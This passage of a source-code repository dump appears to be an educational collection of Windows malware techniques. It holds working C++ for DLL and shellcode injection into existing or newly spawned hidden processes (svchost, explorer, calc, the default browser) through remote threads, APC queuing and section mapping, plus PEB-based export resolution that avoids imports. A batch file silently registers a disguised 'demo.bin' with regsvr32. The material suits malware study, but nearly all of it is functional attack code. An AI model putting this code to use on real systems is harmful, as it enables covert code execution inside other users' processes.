39 |
40 | //map the new section into context of opened process
41 | PVOID sectionBaseAddress2 = NULL;
42 | if ((status = NtMapViewOfSection(hSection, hProcess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, protect)) != STATUS_SUCCESS)
43 | {
44 | printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
45 | }
46 |
47 | //unmap from the context of current process
48 | ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);
49 | ZwClose(hSection);
50 |
51 | printf("Section mapped at address: %p\n", sectionBaseAddress2);
52 | // return remote address of the new section, or NULL if failed to map
53 | return sectionBaseAddress2;
54 | }
55 |
56 | LPVOID map_buffer_into_process2(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE)
57 | {
58 | LPVOID remoteAddress = VirtualAllocEx(hProcess, NULL, buffer_size, MEM_COMMIT | MEM_RESERVE, protect);
59 | if (remoteAddress == NULL) {
60 | printf("Could not allocate memory in the remote process\n");
61 | return NULL;
62 | }
63 | if (!WriteProcessMemory(hProcess, remoteAddress, buffer, buffer_size, NULL)) {
64 | VirtualFreeEx(hProcess,remoteAddress, buffer_size, MEM_FREE);
65 | return NULL;
66 | }
67 | return remoteAddress;
68 | }
69 |
--------------------------------------------------------------------------------
/dll_injection/src/resource.h:
--------------------------------------------------------------------------------
1 | // resource.h
2 |
3 | #define MY_RESOURCE 101
4 |
--------------------------------------------------------------------------------
/dll_injection/src/resource.rc:
--------------------------------------------------------------------------------
1 | // resource.rc :
2 |
3 | // Microsoft Visual C++ generated resource script.
4 | //
5 | #include "resource.h"
6 |
7 | #define APSTUDIO_READONLY_SYMBOLS
8 | /////////////////////////////////////////////////////////////////////////////
9 | //
10 | // Generated from the TEXTINCLUDE 2 resource.
11 | //
12 | #include "windows.h"
13 |
14 | /////////////////////////////////////////////////////////////////////////////
15 | #undef APSTUDIO_READONLY_SYMBOLS
16 |
17 | /////////////////////////////////////////////////////////////////////////////
18 |
19 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_PLK)
20 | LANGUAGE LANG_ENGLISH, SUBLANG_DEFAULT
21 |
22 | #ifdef APSTUDIO_INVOKED
23 | /////////////////////////////////////////////////////////////////////////////
24 | //
25 | // TEXTINCLUDE
26 | //
27 |
28 | 1 TEXTINCLUDE
29 | BEGIN
30 | "resource.h\0"
31 | END
32 |
33 | 2 TEXTINCLUDE
34 | BEGIN
35 | "#include ""windows.h""\r\n"
36 | "\0"
37 | END
38 |
39 | 3 TEXTINCLUDE
40 | BEGIN
41 | "\r\n"
42 | "\0"
43 | END
44 |
45 | #endif // APSTUDIO_INVOKED
46 |
47 |
48 | /////////////////////////////////////////////////////////////////////////////
49 | //
50 | // RCDATA
51 | //
52 |
53 | MY_RESOURCE RCDATA "demo.bin"
54 |
55 | #endif
56 | /////////////////////////////////////////////////////////////////////////////
57 |
--------------------------------------------------------------------------------
/dll_injection/src/run.bat:
--------------------------------------------------------------------------------
1 | regsvr32.exe /s demo.bin
--------------------------------------------------------------------------------
/dll_injection/src/sysutil.cpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "sysutil.h"
3 |
4 | #include
5 | #include
6 |
7 | typedef BOOL(WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
8 |
9 | bool is_compiled_32b()
10 | {
11 | if (sizeof(LPVOID) == sizeof(DWORD)) {
12 | return true;
13 | }
14 | return false;
15 | }
16 |
17 | bool is_wow64()
18 | {
19 | LPFN_ISWOW64PROCESS fnIsWow64Process;
20 | BOOL bIsWow64 = false;
21 |
22 | //IsWow64Process is not available on all supported versions of Windows.
23 | //Use GetModuleHandle to get a handle to the DLL that contains the function
24 | //and GetProcAddress to get a pointer to the function if available.
25 |
26 | fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
27 | if (fnIsWow64Process == NULL) {
28 | return false;
29 | }
30 | if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) {
31 | return false;
32 | }
33 | if (bIsWow64 == TRUE) {
34 | return true; //64 bit
35 | }
36 | return false; //32 bit
37 | }
38 |
39 | bool is_system32b()
40 | {
41 | //is the current application 32 bit?
42 | if (!is_compiled_32b()) {
43 | return false;
44 | }
45 | //check if it is running under WoW
46 | if (is_wow64()) {
47 | return false;
48 | }
49 | return true;
50 | }
51 |
--------------------------------------------------------------------------------
/dll_injection/src/sysutil.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | bool is_compiled_32b();
4 | bool is_wow64();
5 | bool is_system32b();
6 |
--------------------------------------------------------------------------------
/dll_injection/src/target_util.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | bool get_default_browser(LPWSTR lpwOutPath, DWORD szOutPath)
4 | {
5 | HKEY phkResult;
6 | DWORD iMaxLen = szOutPath;
7 |
8 | LSTATUS res = RegOpenKeyEx(HKEY_CLASSES_ROOT, L"HTTP\\shell\\open\\command", 0, 1u, &phkResult);
9 | if (res != ERROR_SUCCESS) {
10 | printf("[ERROR] Failed with value = %x\n", res);
11 | return false;
12 | }
13 |
14 | res = RegQueryValueEx(phkResult, NULL, NULL, NULL, (LPBYTE) lpwOutPath, (LPDWORD) &iMaxLen);
15 | if (res != ERROR_SUCCESS) {
16 | printf("[ERROR] Failed with value = %x\n", res);
17 | return false;
18 | }
19 | printf("%S\n", lpwOutPath );
20 | return true;
21 | }
22 |
23 | bool get_calc_path(LPWSTR lpwOutPath, DWORD szOutPath)
24 | {
25 | #if defined(_WIN64)
26 | ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\calc.exe", lpwOutPath, szOutPath);
27 | #else
28 | ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\calc.exe", lpwOutPath, szOutPath);
29 | #endif
30 | printf("%S\n", lpwOutPath);
31 | return true;
32 | }
33 |
34 | bool get_svchost_path(LPWSTR lpwOutPath, DWORD szOutPath)
35 | {
36 | #if defined(_WIN64)
37 | ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\svchost.exe", lpwOutPath, szOutPath);
38 | #else
39 | ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\svchost.exe", lpwOutPath, szOutPath);
40 | #endif
41 | printf("%S\n", lpwOutPath);
42 | return true;
43 | }
44 |
45 | bool get_explorer_path(LPWSTR lpwOutPath, DWORD szOutPath)
46 | {
47 | ExpandEnvironmentStrings(L"%windir%\\explorer.exe", lpwOutPath, szOutPath);
48 | printf("%S\n", lpwOutPath );
49 | return true;
50 | }
51 |
--------------------------------------------------------------------------------
/functions_loader/README.md:
--------------------------------------------------------------------------------
1 | # functions_loader
2 | Demo showing how to retrieve handles to the functions exported from Kernel32.dll with the help of PEB
3 | The demo contains 32bit and 64bit versions.
4 |
--------------------------------------------------------------------------------
/functions_loader/src/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required ( VERSION 2.8...3.21 )
2 | project (FunctionsLoader)
3 |
4 | add_definitions(-DUNICODE -D_UNICODE)
5 |
6 | set (srcs
7 | main.cpp
8 | pe_hdrs_helper.cpp
9 | )
10 |
11 | set (hdrs
12 | ntddk.h
13 | pe_hdrs_helper.h
14 | peb_lookup.h
15 | exports_lookup.h
16 |
17 | usage_demo.h
18 | test.h
19 | )
20 |
21 | add_executable (FunctionsLoader ${hdrs} ${srcs})
22 |
23 | INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} )
24 |
--------------------------------------------------------------------------------
/functions_loader/src/exports_lookup.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | // version for 32bit PE
5 | // WARNIG: we don't want to use any imported functions in here!
6 |
7 | #include "pe_hdrs_helper.h"
8 |
9 | /*
10 | typedef struct _IMAGE_EXPORT_DIRECTORY {
11 | DWORD Characteristics;
12 | DWORD TimeDateStamp;
13 | WORD MajorVersion;
14 | WORD MinorVersion;
15 | DWORD Name;
16 | DWORD Base;
17 | DWORD NumberOfFunctions;
18 | DWORD NumberOfNames;
19 | DWORD AddressOfFunctions; // RVA from base of image
20 | DWORD AddressOfNames; // RVA from base of image
21 | DWORD AddressOfNameOrdinals; // RVA from base of image
22 | } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
23 | */
24 |
25 | #ifndef TO_LOWERCASE
26 | #define TO_LOWERCASE(c1) c1 = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1;
27 | #endif
28 |
29 | bool is_wanted_func(LPSTR curr_name, LPSTR wanted_name)
30 | {
31 | if (curr_name == NULL || wanted_name == NULL) return false;
32 |
33 | size_t wanted_name_len = strlen(wanted_name);
34 | size_t curr_name_len = strlen(curr_name);
35 |
36 | if (curr_name_len != wanted_name_len) return false;
37 |
38 | for (size_t i = 0; i < wanted_name_len; i++) {
39 | char c1 = curr_name[i];
40 | char c2 = wanted_name[i];
41 | TO_LOWERCASE(c1);
42 | TO_LOWERCASE(c2);
43 | if (c1 != c2) return false;
44 | }
45 | return true;
46 | }
47 |
48 | //WARNING: this is a minimalistic version - it doesn't work for the forwarded functions:
49 | PVOID get_exported_func(PVOID modulePtr, LPSTR wanted_name)
50 | {
51 | IMAGE_DATA_DIRECTORY *exportsDir = get_pe_directory(modulePtr, IMAGE_DIRECTORY_ENTRY_EXPORT);
52 | if (exportsDir == NULL) return NULL;
53 |
54 | DWORD expAddr = exportsDir->VirtualAddress;
55 | if (expAddr == 0) return NULL;
56 |
57 | IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR) modulePtr);
58 | SIZE_T namesCount = exp->NumberOfNames;
59 |
60 | DWORD funcsListRVA = exp->AddressOfFunctions;
61 | DWORD funcNamesListRVA = exp->AddressOfNames;
62 | DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals;
63 |
64 | //go through names:
65 | for (SIZE_T i = 0; i < namesCount; i++) {
66 | DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*) modulePtr + i * sizeof(DWORD));
67 | WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*) modulePtr + i * sizeof(WORD));
68 | DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*) modulePtr + (*nameIndex) * sizeof(DWORD));
69 |
70 | LPSTR name = (LPSTR)(*nameRVA + (BYTE*) modulePtr);
71 | if (is_wanted_func(name, wanted_name)) {
72 | return (BYTE*) modulePtr + (*funcRVA);
73 | }
74 | }
75 | //function not found
76 | return NULL;
77 | }
78 |
--------------------------------------------------------------------------------
/functions_loader/src/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include "peb_lookup.h"
5 | #include "exports_lookup.h"
6 |
7 | #include "usage_demo.h"
8 | #include "test.h"
9 |
10 | int main(int argc, char *argv[])
11 | {
12 | if (!test_loading()) {
13 | system("pause");
14 | return -1;
15 | }
16 | load_and_popup();
17 | system("pause");
18 | return 0;
19 | }
20 |
--------------------------------------------------------------------------------
/functions_loader/src/pe_hdrs_helper.cpp:
--------------------------------------------------------------------------------
1 | #include "pe_hdrs_helper.h"
2 |
3 | IMAGE_NT_HEADERS* get_nt_hrds(BYTE *pe_buffer)
4 | {
5 | if (pe_buffer == NULL) return NULL;
6 |
7 | IMAGE_DOS_HEADER *idh = NULL;
8 | IMAGE_NT_HEADERS *inh = NULL;
9 |
10 | idh = (IMAGE_DOS_HEADER*)pe_buffer;
11 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
12 | inh = (IMAGE_NT_HEADERS *)((BYTE*)pe_buffer + idh->e_lfanew);
13 | return inh;
14 | }
15 |
16 | IMAGE_DATA_DIRECTORY* get_pe_directory(PVOID pe_buffer, DWORD dir_id)
17 | {
18 | if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL;
19 |
20 | //fetch relocation table from current image:
21 | PIMAGE_NT_HEADERS nt_headers = get_nt_hrds((BYTE*) pe_buffer);
22 | if (nt_headers == NULL) return NULL;
23 |
24 | IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]);
25 | if (peDir->VirtualAddress == NULL) {
26 | return NULL;
27 | }
28 | return peDir;
29 | }
30 |
--------------------------------------------------------------------------------
/functions_loader/src/pe_hdrs_helper.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | IMAGE_NT_HEADERS* get_nt_hrds(BYTE *pe_buffer);
5 | IMAGE_DATA_DIRECTORY* get_pe_directory(PVOID pe_buffer, DWORD dir_id);
6 |
--------------------------------------------------------------------------------
/functions_loader/src/peb_lookup.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include "ntddk.h"
5 |
6 | //here we don't want to use any functions imported form extenal modules
7 |
8 | typedef struct _LDR_MODULE {
9 | LIST_ENTRY InLoadOrderModuleList;// +0x00
10 | LIST_ENTRY InMemoryOrderModuleList;// +0x08
11 | LIST_ENTRY InInitializationOrderModuleList;// +0x10
12 | void* BaseAddress; // +0x18
13 | void* EntryPoint; // +0x1c
14 | ULONG SizeOfImage;
15 | UNICODE_STRING FullDllName;
16 | UNICODE_STRING BaseDllName;
17 | ULONG Flags;
18 | SHORT LoadCount;
19 | SHORT TlsIndex;
20 | HANDLE SectionHandle;
21 | ULONG CheckSum;
22 | ULONG TimeDateStamp;
23 | } LDR_MODULE, *PLDR_MODULE;
24 |
25 | inline PPEB get_peb()
26 | {
27 | #if defined(_WIN64)
28 | return (PPEB)__readgsqword(0x60);
29 | #else
30 | return (PPEB)__readfsdword(0x30);
31 | /*
32 | //alternative way to fetch it:
33 | LPVOID PEB = NULL;
34 | __asm {
35 | mov eax, fs:[30h]
36 | mov PEB, eax
37 | };
38 | return (PPEB)PEB;
39 | */
40 | #endif
41 | }
42 |
43 | inline PLDR_MODULE get_ldr_module()
44 | {
45 | PPEB peb = get_peb();
46 | if (peb == NULL) {
47 | return NULL;
48 | }
49 | PPEB_LDR_DATA ldr = peb->Ldr;
50 | LIST_ENTRY list = ldr->InLoadOrderModuleList;
51 |
52 | PLDR_MODULE Flink = *( ( PLDR_MODULE * )( &list ) );
53 | return Flink;
54 | }
55 |
56 | inline WCHAR to_lowercase(WCHAR c1)
57 | {
58 | if (c1 <= L'Z' && c1 >= L'A') {
59 | c1 = (c1 - L'A') + L'a';
60 | }
61 | return c1;
62 | }
63 |
64 | bool is_wanted_module(LPWSTR curr_name, LPWSTR wanted_name)
65 | {
66 | if (wanted_name == NULL || curr_name == NULL) return false;
67 |
68 | WCHAR *curr_end_ptr = curr_name;
69 | while (*curr_end_ptr != L'\0') {
70 | curr_end_ptr++;
71 | }
72 | if (curr_end_ptr == curr_name) return false;
73 |
74 | WCHAR *wanted_end_ptr = wanted_name;
75 | while (*wanted_end_ptr != L'\0') {
76 | wanted_end_ptr++;
77 | }
78 | if (wanted_end_ptr == wanted_name) return false;
79 |
80 | while ((curr_end_ptr != curr_name) && (wanted_end_ptr != wanted_name)) {
81 |
82 | if (to_lowercase(*wanted_end_ptr) != to_lowercase(*curr_end_ptr)) {
83 | return false;
84 | }
85 | wanted_end_ptr--;
86 | curr_end_ptr--;
87 | }
88 | return true;
89 | }
90 |
91 | LPVOID get_module_base(LPWSTR module_name)
92 | {
93 | PLDR_MODULE curr_module = get_ldr_module();
94 | while (curr_module != NULL && curr_module->BaseAddress != NULL) {
95 | if (is_wanted_module(curr_module->BaseDllName.Buffer, module_name)) {
96 | return curr_module->BaseAddress;
97 | }
98 | curr_module = (PLDR_MODULE) curr_module->InLoadOrderModuleList.Flink;
99 | }
100 | return NULL;
101 | }
102 |
--------------------------------------------------------------------------------
/functions_loader/src/test.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 |
5 | //tries to fetch module base via PEB,
6 | //compares the result with output of analogical function GetModuleHandleW
7 | LPVOID test_fetching_module(LPWSTR libName)
8 | {
9 | LPVOID base = get_module_base(libName);
10 | if (base == GetModuleHandleW(libName)) {
11 | printf("[OK] %S : %p\n", libName, base);
12 | return base;
13 | }
14 | printf("[FAILED] %S\n", libName);
15 | return NULL;
16 | }
17 |
18 | //tries to fetch module base via export table,
19 | //compares the result with output of analogical function GetProcAddress
20 | LPVOID test_fetching_func(HMODULE hModule, LPSTR funcName)
21 | {
22 | LPVOID hFunc = get_exported_func(hModule, funcName);
23 | if (hFunc == GetProcAddress((HMODULE)hModule, funcName)) {
24 | printf("[OK] %s : %p\n", funcName, hFunc);
25 | return hFunc;
26 | }
27 | printf("[FAILED] %s\n", funcName);
28 | return NULL;
29 | }
30 |
31 | bool test_loading()
32 | {
33 | LPVOID base = test_fetching_module(L"kernel32.dll");
34 | if (!base) {
35 | return false;
36 | }
37 |
38 | if (!test_fetching_func((HMODULE) base, "LoadLibraryA")) {
39 | return false;
40 | }
41 | if (!test_fetching_func((HMODULE) base, "GetProcAddress")) {
42 | return false;
43 | }
44 | if (!test_fetching_func((HMODULE) base, "NeedCurrentDirectoryForExePathW")) {
45 | return false;
46 | }
47 | printf("All tests passed!\n");
48 | return true;
49 | }
50 |
--------------------------------------------------------------------------------
/functions_loader/src/usage_demo.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hasherezade/demos/96ae61e323d49d75799c94bca94279052afc809d/functions_loader/src/usage_demo.h
--------------------------------------------------------------------------------
/inject_shellcode/README.md:
--------------------------------------------------------------------------------
1 | # inject_shellcode
2 | Small compendium of injection techniques commonly used in malware demonstrated on metasploit-generated shellcode
3 |
4 | Various objects of injection:
5 | + existing process (found by name)
6 | + newly created process
7 |
8 | Demonstrated methods:
9 | + Running shellcode in a new thread
10 | + Adding shellcode into existing thread (using NtQueueApcThread)
11 | + Patching Entry Point of the process
12 | + Patching context of the process
13 | + Injecting into Tray Window (using SetWindowLong)
14 |
--------------------------------------------------------------------------------
/inject_shellcode/src/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required ( VERSION 2.8...3.21 )
2 | project (Injections)
3 |
4 | add_definitions(-DUNICODE -D_UNICODE)
5 |
6 | set (srcs
7 | main.cpp
8 | window_long_inject.cpp
9 | sysutil.cpp
10 | pe_hdrs_helper.cpp
11 | )
12 |
13 | set (hdrs
14 | main.h
15 | ntddk.h
16 | ntdll_undoc.h
17 | kernel32_undoc.h
18 | map_buffer_into_process.h
19 | target_util.h
20 | payload.h
21 | createproc.h
22 | add_thread.h
23 | add_apc.h
24 | patch_ep.h
25 | patch_context.h
26 | window_long_inject.h
27 | enumproc.h
28 | sysutil.h
29 | pe_hdrs_helper.h
30 | )
31 |
32 | add_executable (Injections ${hdrs} ${srcs})
33 |
34 | INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} )
35 |
--------------------------------------------------------------------------------
/inject_shellcode/src/add_apc.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include "ntdll_undoc.h"
4 |
5 | bool add_shellcode_to_apc(HANDLE hThread, LPVOID remote_shellcode_ptr)
6 | {
7 | #if defined(_WIN64)
8 | printf("[ERROR] 64bit version of this method is not implemented!\n");
9 | return false;
10 | #else
11 | printf("Adding shellcode to the queue\n");
12 | NTSTATUS status = NULL;
13 |
14 | if ((status = NtQueueApcThread(hThread, remote_shellcode_ptr, 0, 0, 0)) != STATUS_SUCCESS)
15 | {
16 | printf("[ERROR] NtQueueApcThread failed, status : %x\n", status);
17 | return false;
18 | }
19 | return true;
20 | #endif
21 | }
22 |
--------------------------------------------------------------------------------
/inject_shellcode/src/add_thread.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include "ntddk.h"
4 | #include "ntdll_undoc.h"
5 |
6 | typedef enum {
7 | usingRandomMethod,
8 | usingCreateRemoteThread,
9 | usingNtCreateThreadEx,
10 | usingRtlCreateUserThread,
11 | CREATION_METHODS_SIZE
12 | } THREAD_CREATION_METHOD;
13 |
14 | bool run_shellcode_in_new_thread1(HANDLE hProcess, LPVOID remote_shellcode_ptr)
15 | {
16 | NTSTATUS status = NULL;
17 | //create a new thread for the injected code:
18 | LPTHREAD_START_ROUTINE routine = (LPTHREAD_START_ROUTINE) remote_shellcode_ptr;
19 |
20 | DWORD threadId = NULL;
21 | HANDLE hMyThread = NULL;
22 | if ((hMyThread = CreateRemoteThread(hProcess, NULL, NULL, routine, NULL, CREATE_SUSPENDED, &threadId)) == NULL) {
23 | printf("[ERROR] CreateRemoteThread failed, status : %x\n", GetLastError());
24 | return false;
25 | }
26 | printf("Created Thread, id = %x\n", threadId);
27 | printf("Resuming added thread...\n");
28 | ResumeThread(hMyThread); //injected code
29 | return true;
30 | }
31 |
32 | bool run_shellcode_in_new_thread2(HANDLE hProcess, LPVOID remote_shellcode_ptr)
33 | {
34 | NTSTATUS status = NULL;
35 | HANDLE hMyThread = NULL;
36 | //create a new thread for the injected code:
37 | if ((status = NtCreateThreadEx(
38 | &hMyThread,
39 | THREAD_ALL_ACCESS,
40 | NULL,
41 | hProcess,
42 | (LPTHREAD_START_ROUTINE) remote_shellcode_ptr,
43 | NULL,
44 | CREATE_SUSPENDED,
45 | 0,
46 | 0,
47 | 0,
48 | NULL)
49 | ) != STATUS_SUCCESS)
50 | {
51 | printf("[ERROR] NtCreateThreadEx failed, status : %x\n", status);
52 | return false;
53 | }
54 | printf("Created Thread, id = %x\n", GetThreadId(hMyThread));
55 | printf("Resuming added thread...\n");
56 | ResumeThread(hMyThread); //injected code
57 | return true;
58 | }
59 |
60 | bool run_shellcode_in_new_thread3(HANDLE hProcess, LPVOID remote_shellcode_ptr)
61 | {
62 | NTSTATUS status = NULL;
63 | HANDLE hMyThread = NULL;
64 | CLIENT_ID cid;
65 | //create a new thread for the injected code:
66 |
67 | if ((status = RtlCreateUserThread(hProcess, NULL, true, 0, 0, 0, remote_shellcode_ptr, NULL, &hMyThread, &cid)) != STATUS_SUCCESS)
68 | {
69 | printf("[ERROR] RtlCreateUserThread failed, status : %x\n", status);
70 | return false;
71 | }
72 | printf("Created Thread, id = %x\n", GetThreadId(hMyThread));
73 | printf("Resuming added thread...\n");
74 | ResumeThread(hMyThread); //injected code
75 | return true;
76 | }
77 |
78 | //---
79 | bool run_shellcode_in_new_thread(HANDLE hProcess, LPVOID remote_shellcode_ptr, DWORD method)
80 | {
81 | bool isSuccess = false;
82 | DWORD max = CREATION_METHODS_SIZE - 1;
83 | DWORD random = (GetTickCount() * 1000) % max + 1;
84 | if (method > max || method <= usingRandomMethod) method = random;
85 |
86 | printf("Injecting by method, id = %x\n", method);
87 | switch (method) {
88 | case usingCreateRemoteThread:
89 | isSuccess = run_shellcode_in_new_thread1(hProcess, remote_shellcode_ptr);
90 | break;
91 | case usingNtCreateThreadEx:
92 | isSuccess = run_shellcode_in_new_thread2(hProcess, remote_shellcode_ptr);
93 | break;
94 | case usingRtlCreateUserThread:
95 | isSuccess = run_shellcode_in_new_thread3(hProcess, remote_shellcode_ptr);
96 | break;
97 | default:
98 | return false;
99 | }
100 | return isSuccess;
101 | }
102 |
--------------------------------------------------------------------------------
/inject_shellcode/src/createproc.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "kernel32_undoc.h"
3 |
4 | bool create_new_process1(PROCESS_INFORMATION &pi, LPWSTR cmdLine, LPWSTR startDir = NULL)
5 | {
6 | STARTUPINFO si;
7 | memset(&si, 0, sizeof(STARTUPINFO));
8 | si.cb = sizeof(STARTUPINFO);
9 |
10 | memset(&pi, 0, sizeof(PROCESS_INFORMATION));
11 |
12 | if (!CreateProcess(
13 | NULL,
14 | cmdLine,
15 | NULL, //lpProcessAttributes
16 | NULL, //lpThreadAttributes
17 | FALSE, //bInheritHandles
18 | DETACHED_PROCESS|CREATE_SUSPENDED|CREATE_NO_WINDOW, //dwCreationFlags
19 | NULL, //lpEnvironment
20 | startDir, //lpCurrentDirectory
21 | &si, //lpStartupInfo
22 | &pi //lpProcessInformation
23 | ))
24 | {
25 | printf("[ERROR] CreateProcess failed, Error = %x\n", GetLastError());
26 | return false;
27 | }
28 | return true;
29 | }
30 |
31 | bool create_new_process2(PROCESS_INFORMATION &pi, LPWSTR cmdLine, LPWSTR startDir = NULL)
32 | {
33 | STARTUPINFO si;
34 | memset(&si, 0, sizeof(STARTUPINFO));
35 | si.cb = sizeof(STARTUPINFO);
36 |
37 | memset(&pi, 0, sizeof(PROCESS_INFORMATION));
38 |
39 | HANDLE hToken = NULL;
40 | HANDLE hNewToken = NULL;
41 | if (!CreateProcessInternalW (hToken,
42 | NULL, //lpApplicationName
43 | (LPWSTR) cmdLine, //lpCommandLine
44 | NULL, //lpProcessAttributes
45 | NULL, //lpThreadAttributes
46 | FALSE, //bInheritHandles
47 | CREATE_SUSPENDED|DETACHED_PROCESS|CREATE_NO_WINDOW, //dwCreationFlags
48 | NULL, //lpEnvironment
49 | startDir, //lpCurrentDirectory
50 | &si, //lpStartupInfo
51 | &pi, //lpProcessInformation
52 | &hNewToken
53 | ))
54 | {
55 | printf("[ERROR] CreateProcessInternalW failed, Error = %x\n", GetLastError());
56 | return false;
57 | }
58 | return true;
59 | }
60 |
--------------------------------------------------------------------------------
/inject_shellcode/src/enumproc.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | bool get_process_name(IN HANDLE hProcess, OUT LPWSTR nameBuf, IN SIZE_T nameMax)
5 | {
6 | HMODULE hMod;
7 | DWORD cbNeeded;
8 |
9 | if (EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded)) {
10 | GetModuleBaseName( hProcess, hMod, nameBuf, nameMax );
11 | return true;
12 | }
13 | return false;
14 | }
15 |
16 | bool is_searched_process( DWORD processID, LPWSTR searchedName)
17 | {
18 | HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );
19 | if (hProcess == NULL) return false;
20 |
21 | WCHAR szProcessName[MAX_PATH];
22 | if (get_process_name(hProcess, szProcessName, MAX_PATH)) {
23 | if (wcsstr(szProcessName, searchedName) != NULL) {
24 | printf( "%S (PID: %u)\n", szProcessName, processID );
25 | CloseHandle(hProcess);
26 | return true;
27 | }
28 | }
29 | CloseHandle(hProcess);
30 | return false;
31 | }
32 |
33 | HANDLE find_running_process(LPWSTR searchedName)
34 | {
35 | DWORD aProcesses[1024], cbNeeded, cProcesses;
36 | unsigned int i;
37 |
38 | if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded)) {
39 | return NULL;
40 | }
41 |
42 | //calculate how many process identifiers were returned.
43 | cProcesses = cbNeeded / sizeof(DWORD);
44 |
45 | //search handle to the process of defined name
46 | for ( i = 0; i < cProcesses; i++ ) {
47 | if( aProcesses[i] != 0 ) {
48 | if (is_searched_process(aProcesses[i], searchedName)) {
49 | HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, aProcesses[i]);
50 | return hProcess;
51 | }
52 | }
53 | }
54 | return NULL;
55 | }
56 |
--------------------------------------------------------------------------------
/inject_shellcode/src/kernel32_undoc.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 |
5 | //don't forget to load functiond before use:
6 | //load_kernel32_functions();
7 | //
8 |
9 | BOOL
10 | (WINAPI *CreateProcessInternalW)(HANDLE hToken,
11 | LPCWSTR lpApplicationName,
12 | LPWSTR lpCommandLine,
13 | LPSECURITY_ATTRIBUTES lpProcessAttributes,
14 | LPSECURITY_ATTRIBUTES lpThreadAttributes,
15 | BOOL bInheritHandles,
16 | DWORD dwCreationFlags,
17 | LPVOID lpEnvironment,
18 | LPCWSTR lpCurrentDirectory,
19 | LPSTARTUPINFOW lpStartupInfo,
20 | LPPROCESS_INFORMATION lpProcessInformation,
21 | PHANDLE hNewToken
22 | );
23 |
24 |
25 | BOOL load_kernel32_functions()
26 | {
27 | HMODULE hKernel32 = GetModuleHandleA("kernel32");
28 | CreateProcessInternalW = (BOOL (WINAPI *)(HANDLE, LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES,BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION, PHANDLE)) GetProcAddress(hKernel32,"CreateProcessInternalW");
29 | if (CreateProcessInternalW == NULL) return FALSE;
30 |
31 | return TRUE;
32 | }
33 |
--------------------------------------------------------------------------------
/inject_shellcode/src/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #include "main.h"
6 | #include "createproc.h"
7 | #include "enumproc.h"
8 |
9 | #include "payload.h"
10 | #include "map_buffer_into_process.h"
11 | #include "sysutil.h"
12 |
13 | typedef enum {
14 | ADD_THREAD,
15 | ADD_APC,
16 | PATCH_EP,
17 | PATCH_CONTEXT
18 | } INJECTION_POINT;
19 |
20 | typedef enum {
21 | EXISTING_PROC = 0,
22 | NEW_PROC,
23 | TRAY_WINDOW,
24 | TARGET_TYPE_COUNT
25 | } TARGET_TYPE;
26 |
27 | using namespace std;
28 |
29 | bool inject_in_new_process(INJECTION_POINT mode)
30 | {
31 | //get target path
32 | WCHAR cmdLine[MAX_PATH];
33 | get_calc_path(cmdLine, MAX_PATH);
34 |
35 | WCHAR startDir[MAX_PATH];
36 | if (!get_dir(cmdLine, startDir)) {
37 | GetSystemDirectory(startDir, MAX_PATH);
38 | }
39 | printf("Target: %S\n", cmdLine);
40 | //create suspended process
41 | PROCESS_INFORMATION pi;
42 | memset(&pi, 0, sizeof(PROCESS_INFORMATION));
